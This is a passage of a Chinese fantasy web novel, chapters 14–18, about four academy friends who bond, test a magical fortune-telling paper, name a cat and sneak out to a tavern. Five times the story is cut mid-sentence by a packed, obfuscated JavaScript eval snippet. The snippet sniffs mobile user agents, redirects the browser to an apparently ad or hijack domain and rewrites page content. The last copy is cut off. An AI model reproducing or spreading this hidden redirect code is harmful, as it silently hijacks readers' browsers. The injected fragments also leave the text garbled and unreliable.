“这的确是我的失误,你们是这孩子的朋友,我自然有解释的必要。”老人说,“事实上,我们一直把法尔拉特作为我们未来能够解决灰界问题的关键,所以会适当分派一些任务作为磨砺,而这些任务的难度都是在法尔拉特自身实力之下的——这次的任务信息出现了误差。” 我看着老人,他的眼神沉着而坚定,如同化石一般沉重。 这种沉重冲击了我一下。 “为什么要这么急迫。”我抓住了重点,“等他再强大些不好吗?” “法尔拉特会是未来抵抗灰界的中流砥柱。即使他年幼,这种磨砺也是不可避免的。”老人没有因为我的冒犯而生气,“这是必要的,他的出生就是为了这个,他需要最快地成长。” “就算很残忍?” “就算很残忍。”老人听见这句话笑了起来。 “你很关心他。”他看着我,就像发现了什么新奇事,“他终于拥有朋友了,哈……我一直担心他会在学院里被排挤……” 他看完我,又把视线移向了我后面的好友们,逐渐的,老人的表情波动了起来。 他的表情就像是看见了三块发亮的星星。 “穆曲……”老人说,“你打败了那只灰兽是吗……哈耶达和别特亚,你们反应的非常迅速,救援的行动很快……你们真的是和我想象的一样优秀。” 他这句话很怪,就像是他以前就已经注意到我们了一样。 “你们四个会成为很好的朋友。”这一代观测者下了这样的结论。 他的结论和别特亚的预言几乎重合。 总之,我们在一天后站在病房门口。 “我不认识他。”哈耶达小声的在病房外面对我说,“我只是听过很多关于他的消息……” 我看了看他手上的鲜花。 明明是他先提议说要来看望一下法尔拉特,而偏偏也是他在临门一脚的时候怂了。 这一点和我很像。 别特亚看了我们几眼,果断地推开了房门。 法尔拉特正企图翻窗。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176521|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面无表情的启用了【控制】的概念。 一分钟后灰色发的少年人被我绑在病床上,我和另外两人站在病床周围盯着他看。 “我已经好全了。”法尔拉特解释。 他脸上分明没有任何表情,但我却莫名地感觉到了他的几分委屈。 我当然知道他好全了,因为我在送他进医务室之前就已经使用了【修复】。 我敢保证我的【修复】非常完美,别说再度破裂,甚至连豆大的伤疤都没有。 现在法尔拉特被勒令滞留在医务室的理由是有待观察。 因为能完完全全治愈且不留后遗症的【修复】在目前是不存在的,医务人员啧啧称奇地围着法尔拉特原本伤口的位置,讨论得热火朝天。 至于我怎么知道的,因为我用了【视野】。 扯远了,但总而言之,法尔拉特并没有撒谎。 可哈耶达和别特亚并不相信。 他们更认为是面前的人不珍惜身体,还在上蹿下跳。 我明显能感觉出他们的怒气正upup。 “当时你的伤很严重。”哈耶达出了声,“就算使用了【修复】也需要一段调理时间,你最好老实呆在床上。” 别特亚赞同地点了点头:“我会把这件事告诉特纳丝医生。” 特纳丝是医务室里最认真也最负责的医生,曾经有过因为不听话的病人企图逃离病房,她一人徒步追了十公里最终把对方捆回病房的壮举。 我听见这话,已经想像到了特纳丝医生黑沉的脸色。 法尔拉特头上缓缓浮现了问号。 他肉眼可见地迷茫。 “我……”法尔拉特犹豫了一下,“抱歉?” 还是疑问句。 但我身旁两人的怒气被这简单的一句话浇灭了。哈耶达反应过来自己说的话有点过界,开始尴尬地摩挲手指。 他们还不是朋友的关系,甚至连熟人都算不上。 “谢谢,”法尔拉特接着说,“谢谢你们救了我。” “穆曲。”他突然叫了我的名字,接着顿了顿。 “哈耶达,别特亚。” 他看向另外两个人。 法尔拉特尽力地在床上摆出了端正的姿态,然后郑重地介绍着:“我叫法尔拉特,很高兴认识你们。” 他深绿色的眼睛倒映着我们。 我们看着面前人深绿色的双眼。 他的话很突兀,而且语气认真到了一种严肃的地步。 “我是哈耶达。”哈耶达不太适应这正式的气氛,有点尴尬地点了点头。 “我是别特亚,请多多指教。”别特亚轻快地回应着,我觉得他这句话熟练地像是思考了很多次。 我注视着哈耶达和别特亚的神态,看来他们对于法尔拉特的印象挺不错。 “我是穆曲。”我点点头,同样用郑重的语气回应道。 这样说话有点怪,但也很有趣。 我们四个在严肃的气氛中互相对视,然后一起笑出了声。 让我想想,不管怎么样,现在这个场景如果放在少年漫里应该怎么介绍—— 《终于——四人组的齐聚》 15. 第 15 章 在这之后,法尔拉特在学院的频率明显地增加,也可以说是接受任务的次数大大降低了。 总之,我们四个人有了很长时间相处。 也真的很巧,我们的性格很合适,我们可以成为老师眼中的优等生,也可以摇身一变成为频繁翻墙的违规者。 我们一起说笑,一起上课,一起打打闹闹,一起去抢很难抢到的妙妙香香脆。 当有人遭遇针对时其他人会毫不犹豫地维护,当有人开玩笑时其他人会热热闹闹地捧场,当有人有困难时又其他人又会尽其所能地帮助…… “我们的性格很合适,我们很合得来。”我对他们说出这个结论时,我被别特亚敲了脑袋。 他在和我们混熟之后就不再装好学生那一套了,时不时地会露出与守礼的外表所不相符合的真面目。 “不是性格的原因。”别特亚看着我说,“性格其实是最无关紧要的,我们会成为朋友,因为我们接受了彼此的缺点,欣赏彼此的优点,我们宽容彼此,我们珍惜彼此。” 他总是会说一些肉麻的话。 “说到这里……那曲,你看起来不在意任何人,”哈耶达插话说,这时他正尽力地往嘴里塞妙妙香香脆,“仿佛自傲的不行,完完全全一副欠揍的模样……” 我不否认这一点。 “但不论怎样,和你在一起会感到愉快,这就够了。”哈耶达接着说完了他的话,“啊,但还是有时候会想揍你一顿。” 法尔拉特这时也在往嘴里塞妙妙香香脆,他自尝过这款零食后就成了它的狂热爱好者。 他闻言抬头看看我,认真地点了点头。 我非常想知道他是怎么一边散发出愉悦的气息,一边保持面无表情的。 “但没有人能揍我。”我笑了起来,回答哈耶达这个事实。 我的好友们露出了‘就是这种感觉’的表情。 哈耶达企图和别特亚合谋把我打一顿,我想了想,还是没有说出我能听见他俩小声说话的内容。 “不过那曲说的也对,”别特亚拒绝了哈耶达的合作请求后,微笑着看向我们,“我们很合得来,包括在干各种奇奇怪怪的事情上。” 他的话让我们大笑了起来。 # 接着话题轻快地转移了。 我们开始大聊特聊一些新鲜的事情,比如妙妙香香脆的新品,比如在学院中关于我的稀奇古怪的传言,再比如出版社最新出的关于先行者的热卖书籍…… “我知道一个新鲜事。”哈耶达接过话茬,这时他脸上流露出一种感兴趣的笑容。 让他感兴趣是一件不容易的事,而能被他称为‘新鲜’的自然也不会是什么稀松平常的事情。 我们看向他。 “三阶学长的欧尼费趣味小组即将推出新的产品——他们把那东西叫做‘要证明就来试试吧’,但我更觉得那个应该叫做‘经历续写’。”哈耶达说到中间那个名字时面孔扭曲了一下,“在四天后会在欧尼费售卖摊出售……嗯,售价一芬尼……” “那个不是一个面向情侣的吗?说是可以在相爱的基础上共同使用这个产品。他们之前给我申请过售卖摊位的时候提过。”别特亚从记忆中找出了这个名字,“和我们有什么关系?” “我提了一个建议,”哈耶达有点自豪地接着说,“光是情侣的流量会比较小,所以可以把客源扩大到所有学生,把‘在相爱的基础上’改为‘在互相信任的基础上’,开发一些相关的新产品,比如:友人之证、亲情之证、损友之证、偷鸡摸狗之证……” 他的话里好像出现了很奇怪的东西。 “总之,”哈耶达眨眨眼,开始翻背包,“作为建议的回礼,他们给了我这个。” 我面前出现了几张淡金色的硬纸,上面刻着‘敬我们永远的友谊’的花体字。 “友人之证。”我肯定地说出了面前这个东西的名字。 哈耶达点了点头,印证了我的想法。 别特亚和法尔拉特凑了上来,把这几张纸传来传去看了个仔细。 “这张纸的制作中运用了【奇想】的衍生概念。”法尔拉特说。 “当然,欧尼费小组的成员几乎都拥有【奇想】,这是一种和【创造】相关的根源概念。”别特亚解释说。 我知道这种根源概念。我在刚到这里时就启用了【奇想】,在拜尔德加的山野上建造了我的家。 地面的泥土在几秒间凝实,向上拔起,塑造出我想要的独栋房屋。 周围的树木交织在一起,为我的房屋镶上木门,装上木窗,摆上木质的家具。 我想要我们房屋拥有花园,于是一瞬间群芳盛放,姹紫嫣红。 这是一种很好用的概念,特别是用在建造工程上,可以说工程进度是在肉眼可见中飞速推进的。 “别听他讲的,其实也没什么特别……”哈耶达对别特亚的后面半句话不太满意,他皱了皱眉补充说,“【奇想】的持有者只是直觉准一点,如果不经过特定培训和大量的练习,是不能运用其衍生概念【编造】、【占卜】以及【组装】的。” 他拿过淡金色的纸张,启用了【光明】的概念,然后松手。 这张纸在一瞬间被点燃。 它燃着金红色的火光,不自然地停滞在空中,一直到燃尽。 黑色的灰烬散在地上,但我们没有一个人低头看。 因为纸张被焚尽的位置出现了图像,图像上是我们四个人盯着纸张看的模样。 本来不觉得,但被图像放出来时,我们才发现有一点傻。 “来,”哈耶达招呼我们,“凑近点,这个是倒放,相当于是使用者的留影。” 我刚开始不明白他的意思,但图像开始运动时,我了然了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176522|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个会很有趣。”哈耶达解释说,“这个由纸张燃尽开始倒放到纸张刚点燃时,放映的是我们所有人的动作,有点像是录像机,但不可能是录像机,好玩的还在后面,要不然这东西就没有任何价值。” 这时已经倒放到了纸张刚点燃时,我们坐在一起的情景。 我看见图像上所有人傻愣愣地盯着燃烧的纸张看。画面重现的真实且细致,连头发丝都能看得见。甚至我感觉自己能触碰到画面中燃烧着的金色火光。 火光忽的闪烁了一下,然后画面黑下来了。 我们意识到这里是倒放的末尾。 图像闪烁了一下。 我们几个人盯着它,接着图像闪烁着亮起。 这次展现在我们面前的是一个衣着华贵的成年男性微笑的表情,而这个男性的面孔和哈耶达有七分相似,简直就是哈耶达长大后的版本。 ‘滋啦——哈耶——达——滋啦。’从图像中发出的声音断断续续。 接着图像晃动了起来,我们才发现图像是以某个人的视角来展现的。 ‘父王。’这个人这样称呼面前的成年男性。 图像断了。 这个人是哈耶达。 我们一致地看向他。 “它有意思的地方就在这里。”哈耶达笑了起来,“它会在倒放结束后,为使用概念点燃纸张的人从友情、爱情、亲情三个角度之一进行编写,并把其编写片段进行播放。其实类似于占卜和灵数,但它的画面更生动化,而且不仅局限于未来,还可以反映过去。” 听起来很有趣,但我觉得这个已经超过占卜的范畴。 “可以说后面显示的片段参考价值不大。”哈耶达好像明白我要说什么,流畅地续上了他的话,“【奇想】本来就是很难掌握的一种根源概念,而且这个产品不知道怎么做的,同时融入了【占卜】和【编造】……按欧尼费趣味小组的话来说,‘如果在编写的片段中能看见持有这个证明的其他人,就是他们互相信任的肯定,所以叫证明再合适不过;但如果没看见,就单纯是几率的问题,因为续写的只是几秒钟的片段,与使用者拥有着漫长的人生是不值一提的。’” “我觉得他们在说废话。”哈耶达咬牙切齿地做了结束语,“意思不就是这个编写的功能什么用也没有吗?!还用得兜圈子。” 我听完哈耶达的一大段话,简单总结一下,就是:这是一款特效炸裂,除了有趣没啥卵用,证明与否全凭运气的新产品。 真的太新了,新的我无言以对。 “真的会有人买这个吗?”别特亚梳理完所有的信息,不可置信地问。 “别小看学生的好奇心。”哈耶达明显对这些很了解,他看了我们一圈,像是骄傲的黑猫一样哼了一声。 “我打赌这玩意儿会被买爆!” 四天后,欧尼费售卖摊被人群围得水泄不通。 16. 第 16 章 欧尼费售卖摊的生意在阿尔斯安联合学院做得热火朝天。 “已经有多长时间了?”我们再一次从拥拥簇簇的人群中挤过时,别特亚问。 他现在黑眼圈几乎要耷拉到下巴上,颜色深的能当墨水,肉眼可见精神差得不行。 这一切都因为‘经历续写’。 “大概有一个星期。”我回答,这个答案使别特亚的脸色变得更加糟糕。 “我已经有一个星期没有睡好觉了。”他扬起了声音,“因为那个新产品,出现了很多问题——包括道路和学院面貌……主任已经因为这个在三天内找了我四次。” “等热度下去就会好很多,”哈耶达看见同伴没好气的样子,“嘛,总会好的。” 哈耶达仿佛完全忘记了自己也为这个热度出了一份力。 别特亚没有追究这一点,因为他看了一眼平板的讯息,又匆匆忙忙地走了。 “他真够忙的。”我望着他的背影感叹。 “啊,嗯。”哈耶达心虚地摸了摸下巴。 “不过他与刚开始有了一点变化,不是吗?”我对哈耶达笑笑,“刚认识时别特亚完全是一个温和守礼的优等生,除去有些腹黑这一点,在表面上可以说是毫无破绽的,而现在……” 他在我们面前开始骂人了。 他‘不经意’地向我们炫耀他的才华。 他默不作声地与我们在能力上开始比拼。 “更活跃了。”哈耶达似乎并不意外我会这么说,“因为我们熟悉了,所以我们开始更深地了解他,我们互相了解。” 他注视着我,深蓝色的眼睛向我轻快地眨了眨。 这时我们走到了爬满青藤的墙角处。 还是那个熟悉的墙角。 因为我第一天嚣张的气焰和的确很强大的实测能力,哈耶达曾经在这里和他的几个朋友骂我,而且被当场抓获。 其实也没有骂太过分的词,大多数都是他们对我实力的羡慕嫉妒恨,以及对我傲慢到似乎看不起人的态度的强烈抨击。 从另一个角度来想,他的运气真的很不好,在这样偏僻的拐角处都能被当事人碰上。 我们走进了一些。 这时我能看见墙角处仍未被填上的一块砖石的空缺,因为长时间的积水和尘埃,开始腐朽,上面布满了苔藓。 在我刚遇见哈耶达的时候是没有这些苔藓的。 有变化,但好像变化只有一点点。 哈耶达也注意到了这里,他开始拒绝说话。 我笑了起来,伸手戳了戳低头不说话的好友。 “你现在在和一个‘怪胎’一起走路,”我调侃他,“你甚至在一天前还和他同吃了一块刺球果小蛋糕……” 他的脸红透了。 “‘我宁可去和灰兽干架也不想看见这个人趾高气扬的脸,我可不想——’” 哈耶达恼羞成怒地捂上我的嘴,因为动作太大甚至还发出了声音。 实话讲,我学他当时的语气学习得惟妙惟肖。 当时在哈耶达这样说完的几秒钟后,我就硬生生掀翻了在场除我外的所有人。 没错,掀翻。 他们惊诧地看着我从墙上翻下来,又惊悚地看着我把他们揍了一顿。 说话的胆子大,反抗的胆子小。 哈耶达是唯一撸起袖子和我打的人,因此我多看了他一眼。 我发现这个人很有趣。 他是带头说我坏话的人,但也是最先认真和我道歉的人。 再加上,他有着一张优秀的脸。 很简单,也很肤浅,这就是我们友谊的开端。 ### 我们闹成一团,终于气喘吁吁地停下了。 “别特亚去收拾那摊子事儿,法尔拉特……法尔拉特去哪儿了?” “他在和猫大王一起玩。” 哈耶达因为我话中的新名词感到诧异,但很快他就明白过来。 “你是在说那只领头的黑猫。”他注视着我,想要从我眼中看到一些反对的神色?。 与他的期望相反,我朝他点下头。 他睁大眼睛,对此大为震惊。 他万分唾弃我起名的水平。 我却不这么认为。 我认为猫大王是一个很好的名字。 哈耶达再次反驳我的话。他认为弥赛亚或阿达克会更符合黑猫的气质,而我起的名字像是‘白白’、‘黑柱子’那样直白浅显。 我启用了控制的概念,下一秒,一只黑猫从学院的另一个方向出现,被一只无形的手拖到我们面前。 黑猫嘴里叼着一根小鱼干,仍保持着蹲坐的姿势,仿佛还没有从自己原本的状态反应过来的。 没错,我打算让当事猫回答我们的问题。 猫被吓呆了,身体僵直成了一条直线。 我们看看它,它看看我们。 猫从地上跳起来。 “嘿。”我说,这时我重复了一边我们两人所起的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176523|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你喜欢哪个名字就向那个人的方向伸爪子。” “你在干什么?!”哈耶达震惊的说,“你在对猫说话。” 此时黑猫直起身体,猫脸上很明显的出现了思索的神情,虽然不知道是怎么能从一张猫脸上看出思考的。 它听完了我们起的名字,向哈耶达看去,又扭头瞅瞅我的脸色。 看吧。 我就知道它会对我的起的名字满意。毕竟“大王”这个名字,的确很霸气。 我盯着它,期盼它会把爪子搭上我的手掌。 黑猫接受到了我的讯号,明显激动地瑟缩了一下,猫脸上出现了犹豫和纠结的神情。 黑猫向哈耶达的方向走了一步,回头看了看我,又颤抖了一下。 我:? 我对它抖动的反应和它的纠结表示不理解。 黑猫开始向我的方向挪动,但眼睛时不时往另一个方向看去,目光中满满的都是依依不舍。 它把爪子摁在我的掌心,猫脸上表现像是出卖了尊严的神情。 “喵。”它颤抖着叫了一声。 哈耶达的嘴张得像是能塞下一个鸵鸟蛋。 “等等这是什么?”哈耶达大声说,“你用了控制?不,你没有。” 他的面部表情太过精彩,以至于我开始哈哈大笑。 “而且这太奇怪了吧,为什么我能从他脸上看出纠结的样子?猫会纠结吗?!”哈耶达抓住了重点,“你是用什么手段,我明明感觉它是要选择我的,我们拥有一样的审美偏好。你难道没有感受到吗?” 我对他的话表示疑问。 “我是胜利者,”我说,并且我再次重复。 “我是胜利者,猫选择了我,因此,在这之后他必须叫这个名字。” 这时我怀中的猫开始流泪。 我丝毫不明白为什么当我再次说猫必须叫这个名字时,猫开始嚎啕大哭。 我开始疑惑。 这时有人说话,“看起来它很喜欢这个名字,它看起来很开心。” 我瞬间明白这是激动的泪水,所以我能一定程度上谅解这只猫把我的衣服弄脏。 法尔拉特有时候非常聪明。 哈耶达在法尔拉特身后,露出了扭曲的表情。 ### 哈耶达时不时地会为自己朋友的脑回路而吃惊。 就像现在这样,他感到大为震撼。 天啊,他想。 那曲和法尔拉特两个傻蛋。 17. 第 17 章 法尔拉特是追着猫来的。 当他知道是我用控制把猫一路运到这里来时,我仿佛看到又一个灯泡在他头上一闪而过。 他好像明白了什么。 “猫被抓走了,”法尔拉特说,“在我喂他小鱼干的时候。” 我明白了当我启用控制时,我感受到的另一股拉力是怎么回事。 法尔拉特校服的后摆上沾满了灰尘和草种,甚至连头发上也有,整个人显得灰扑扑脏兮兮。这是我的错,因此,我对他使用了秩序,他的衣服,立马变得干净整洁起来了。 灰发的同伴看了我一眼,我觉得他原谅我了。 “现在这是一个出门的好时间。”哈耶达趁我清理衣服时说。 我懂他是什么意思。因为前段时间紧张的考试。我们的出门时间缩减了一半,而哈耶达又偏偏是安生不住的人,在学校里憋的要死。 简而言之就是,哈耶达想出门。 现在并不是出门时间,出门时间还要等一个星期后。 但我从来不是守规矩的人,因此我赞同他的提议。 我决定马上走。 现在在场的有:我、法尔纳特、哈耶达,和一只猫。独独缺少了别特亚。 我看向猫,发现这只猫拥有蓝色的眼睛。 我思考了一下,举起一只猫爪子面向我的同伴。 “这位是小别特亚。”我宣布。 现在,我们四人组又集齐了 ### 我们打算去喝蜂蜜火辣辣。 蜂蜜火辣辣是一种烈酒,以如蜂蜜一般的甘甜和喝下去如同火焰般的炽热而得名。 听起来是一种美味的酒类,但是它同样拥有让我们心惊的高酒精度。 “我们已经到了喝酒年龄但是我们没有到喝酒年龄。”哈耶达笑着说。 这个笑话有点冷。 在这里的规定和在现实中不一样,以18岁为界限,18岁以后可以喝较低度数的酒,但若是高度数的烈酒,则要等到25岁及以后。 我们并没有满足蜂蜜火辣辣的喝酒年龄,但这并不碍事。 “是硬汉就喝蜂蜜火辣辣!”哈耶达说。“关于蜂蜜火辣辣还有一个传说——据说亚讯达在瓦尔达克树下遇到流浪人时,就是以蜂蜜火辣辣作为交换换取了足以击破黑暗的长剑。” 这时候我们已经走到了高萼花酒馆里。 哈耶达明显显现出他对这里的熟悉,他轻车熟路的点了酒品,然后和旁边的酒保唠嗑。 这是一家小酒馆。 在进门前往下走一段的楼梯,弯弯绕绕一直到楼层的顶端。 入眼是在暗色的天花板上的黄铜灯,仿佛在夜空中缀满的星星。 屋内的所有庄衡偏向于华丽但同时又富有格调,哈耶达会喜欢这里我并不意外。 我是第一次来到这里,和法尔拉特一起坐在前排的高凳上。 哈耶达坐在我们旁边,澄黄的灯光恰好打在他的一侧。 他就着这澄黄的灯光拿起酒杯。 灯光投在他的手上,投在他的肩膀上,投在他的脸上。 这时的他看起来,与这个情景融为一体。 我认为光影向来能够让人产生错觉。 “三杯蜂蜜火辣辣。” 络腮胡的酒保笑我们的方向推来三杯酒。 他乐呵呵的笑着向我们三人挤眉弄眼。 “达克!”哈耶达向这个人喊,“你正经点。” “当然。”络腮胡的大叔摊了摊手,笑着收敛了自己的动作。 “真是……第一次见你带别人过来,这不是太高兴了吗。” 这句话不是假话。 他脸上洋溢着一种轻松而欣喜的笑意。 他所有的话语和动作都显示着他已经和哈耶达认识了很久。 “尝尝。”哈耶达把两杯酒向我们的方向推来。 淡金透亮的酒液,晃了一下停在我和帆儿拉特面前。 上面还浮着一小簇紫色的花。花朵如米粒大小,卡在杯沿上。 看起来很文艺,甚至这不应当是烈酒所配套的装饰。 法尔拉特伸出食指晃了一下上面的花朵,霎那间,花朵开始燃烧,火焰蹿出杯口几丈高,然后火焰慢慢消散,最终沉入杯底。 黑猫目不转睛的,盯着火焰看。 他看起来像是一只对火焰痴情的猫。 “这是酒馆特色。”络腮胡的大叔达克自豪地介绍。 “这样品尝起来会有高个花的香味。 的确是这样。 花香和甜香分外融洽,使酒的味道更加突出。 很好喝,但仅仅是好喝,并不到惊艳的程度。 我听到耳边有人吞咽的声音,一扭头,果不其然法尔拉特把他那杯一饮而尽。 接下来的场景就有些难以把控了。 我万万没想到法尔拉特有着如此惊人的酒量。 这里指的是一杯即醉,一杯酒疯。 哈耶达的酒量稍微好一点,还保持着理智,顶多是有点上脸,红的和番茄一样。 这时他蹭过来抱住我和黑猫,想要把我们拖起来。 “他怎么了?”他大声问,“法尔拉特!法尔拉特在跳舞!” 猫和我被他挤在狭窄的怀抱里,同病相怜地对视了一眼。 我觉得他也有点醉了。 事实上法尔拉特只是站在桌子上,和旁边的雕像比划招式,当然,大部分是自言自语。 紧接着他逐渐不满足于雕像比划,而是把目标向络腮胡的酒保达克以及周围的客人转移。 他弄出的动静有点大。 周围的酒客们举着酒杯向我们的方向哈哈大笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176524|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这酒馆里的酒客粗糙而爽朗,有很多穿着脏兮兮的衣服,叉着双腿,坐在雕花的软板凳上,与酒馆里的装潢格格不入。 不可否认的,他们也是酒馆里主要一部分。 当他们开始说笑,开始与送上来的食物和酒拼搏时,他们自身所具有的生气和活力充斥了整个酒馆。 这时几乎所有的酒客都向我们的方向看来,紧接着他们开始呼喊络腮胡的酒保。“达克!”他们喊,“和他比划比划!” “不用担心。”哈耶达醉醺醺地说,“达克叔下手有分寸。” 接着,他又要了一杯酒,三两口地灌了下去。 听这话,他下意识地觉得达克会是赢家。 我刚想反驳,却看见络腮胡的酒保轻而易举地把法尔拉特压在地面上。 看看那家伙挣扎的样子。 我陷入了沉默,转头继续喝我的酒,假装我什么都没看到。 猫仍被哈耶达抱着,在黑色卷发的少年人的磨蹭下发出惊恐的叫声。 哈耶达醉的更厉害了,这让我担心他明早会不会因宿醉而起不来床。 “你的酒量很不错。”有人热情地夸赞我。 酒保达克把法尔拉特放到沙发上盖上毯子,然后向我的方向走来。 “殿下的酒量十分一般,但他乐此不疲。” 当我开始思考‘殿下’到底是谁时,哈耶达气呼呼地嚷嚷起来,“我没有喝醉!” 喝醉的人常会这么说。 我更确定这人已经醉得不清。 黑猫绝望地喵喵叫起来。 “那位先生的酒量有点糟糕,”络腮胡的酒保这句话明显指的是法尔拉特,“啊……”这时候我把酒杯向他推了推。 “你的酒量很不错,”他又说出来那句话,“再来一杯?” “蜂蜜火辣辣。” 他的表情变化了一下,紧接着笑起来。 “你发现了……这可不能提供给你,毕竟你们还没有到烈酒年龄。” “给我们的是低酒精度的蜂蜜火辣辣是吗?准确说是尽力还原出味道的低度酒。”当我看到了肯定的神色时,我为醉倒的两个伙伴感到好笑。 他们醉的太快了。 “我可以启用【加速】。”我眨了眨眼,“把酒精分解掉。” “只有几口。”达克勉强接受了我的请求,把只浸到杯底一指宽的酒杯推给我。 “看在你能喝出来的份上。” 酒的颜色是比之前低度酒更深的金黄。 入口是如火焰一般的辛烈,搭配着如同蜂蜜一般的微甜,从口腔经过喉咙一直往下,仿佛一直燃烧到胃里。 酒液的后调余留着一种清幽的花香,和蜂蜜的甜香混在一起,在唇齿间停留着。 它不愧于哈耶达的赞美。 它完完全全地实至名归。 18. 第 18 章 昨天我们在高萼花酒馆过夜。 这里要感谢达克,他看在我们一伙人中有两个一觉不醒的份上,热情地提供了住所。 能有人会奇怪我为什么会用‘达克’这么亲切的称呼,因为在我品尝过真正的蜂蜜火辣辣后,我们两人的关系突飞猛进,就差挽着手称兄道弟。 “这不是我会做的事。”当我走进屋里时,灰色发的少年正在严肃地回复。 “我不会和雕像舞剑,我更倾向于和猫大王跳舞。” 他说出这么一大段话着实是不容易,但我更惊讶他话中的重点倾向于后者。 他难道不觉得和猫大王跳舞更让人社死吗? “先不管这个,法尔拉特。”我说,这时我企图压下笑意,但并没有成功。 哈耶达端着一碗醒酒汤,此时脸色难看,尤其当他听到法尔拉特的后半句话时更是这样。 哈耶达看见我张开嘴,此时他有一种不好的预感,于是他企图打断。 “那曲你……” “哈耶达已经替你做过了。”我把这句话说出口。 法尔拉特的表情疑惑不解,而另一个人在这时扑过来,想要捂住我的嘴。 “闭嘴啊啊啊啊啊!” “他昨天醉酒并和猫大王跳了华尔兹。”我终于说出了口,这时我疯狂地大笑起来,“哈耶达!猫大王被你转晕了!舞蹈之王你当之无愧!” 黑卷发的少年被我笑得气急败坏,甚至开始手脚并用,拖着我的脖子就往座椅下拽。 我很快进行反击,于是局面更混乱了。 达克站在门口神情复杂地看着我们两人。 当我们反应过来时,我们正以一种扭曲的姿势缠在一起。我的左脚正在奋力地踩哈耶达的腿,而哈耶达的手正在扯我的耳朵。 下意识地,我们两人都没有启用概念,因此呈现出的效果相当于猫狗互斗。 总之我们抬起头,僵硬地对上了达克大叔的视线。 我们开始褪色。 法尔拉特在一旁“吧唧吧唧”地鼓掌。 “哈哈,你们真的是很好的朋友。” 达克大叔在尴尬的气氛中说。 ##### 这个形容词让我更加尴尬。 我们的确是很好的朋友,但在刚刚打完架的情况下承认这个事实会很奇怪。 如果放在其他场景里,比如在小说中,这个情节往往适用于欢喜冤家。 小说里的对头会一边擦着身上的伤,一边狠狠瞪对方一眼,然后异口同声地大喊‘谁和他是朋友’这类的话。 只是幻想着就很热血,但在这里不适用。 “我们是很好的朋友。”有人回应。 我扭头,哈耶达正注视着达克。 他的态度很正常,就像是在聊今天的天气一样淡然。 毕竟他在陈述事实。 “不说这个,你难道不对我的学院生活感兴趣吗?”哈耶达转换了话题。 他的这句话吸引了所有人的视线。 “当然,所以有什么有趣的事?”络腮胡的酒保从善如流地询问,“阿尔斯安联合学院的事情一直受人关注,我对它好奇是情理之中的。” 哈耶达在他的视线下清了清嗓子。 “开学,学习,考试,练习……就是这样!” “这不是很平常吗……” “啊说到这里……倒是还有一个,我觉得在不久后欧尼费就会出售新产品了。” 哈耶达从他的背包中翻出了几张皱巴巴的纸。 是‘经历续写’。 他居然还有好几张存货。 哈耶达拿出看一张给达克使用,我在一旁无聊,也摸了一张。 “啊,这个怎么弄?”达克手忙脚乱地往这张‘经历续写’上使用概念,“这样可以吗?为什么它还是不照你说的燃烧。” “你不要用【视野】!”哈耶达指导,“作用于‘经历续写’!而非你身上。” 在一团混乱中,他们点燃了达克的‘经历续写’。 于是这团混乱被记录下来,在半空中放映。 记录的情景很生动,甚至还有声音,乐得酒馆中的人都在哈哈大笑。 “达克!这是什么?!儿童玩具吗?” 达克一边笑呵呵地回应着,一边往空中开始变化的图像看去。 酒馆中的人都在看着空中的画面。 在所有人的注视下,空中的图像变幻出了看起来像是走廊的场景。 看起来像是在一个大型建筑,或者说是在宫殿的长廊中。 紧接着,画面出现了人说话的声音。 “达克!”一个爽朗的声音响起,“你这周要回利科尔克吗?我想念那里的晾梅茶了。” 接着画面开始转移,一个年轻人的面孔出现在人们的视线中。 这个人面容正直开朗,当他笑起来时,就像是一只褐色毛发的大狗。 最关键的是他和达克有点像,只不过没有胡子。 画面中的人物开始走动,同时画面开始剧烈的抖动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 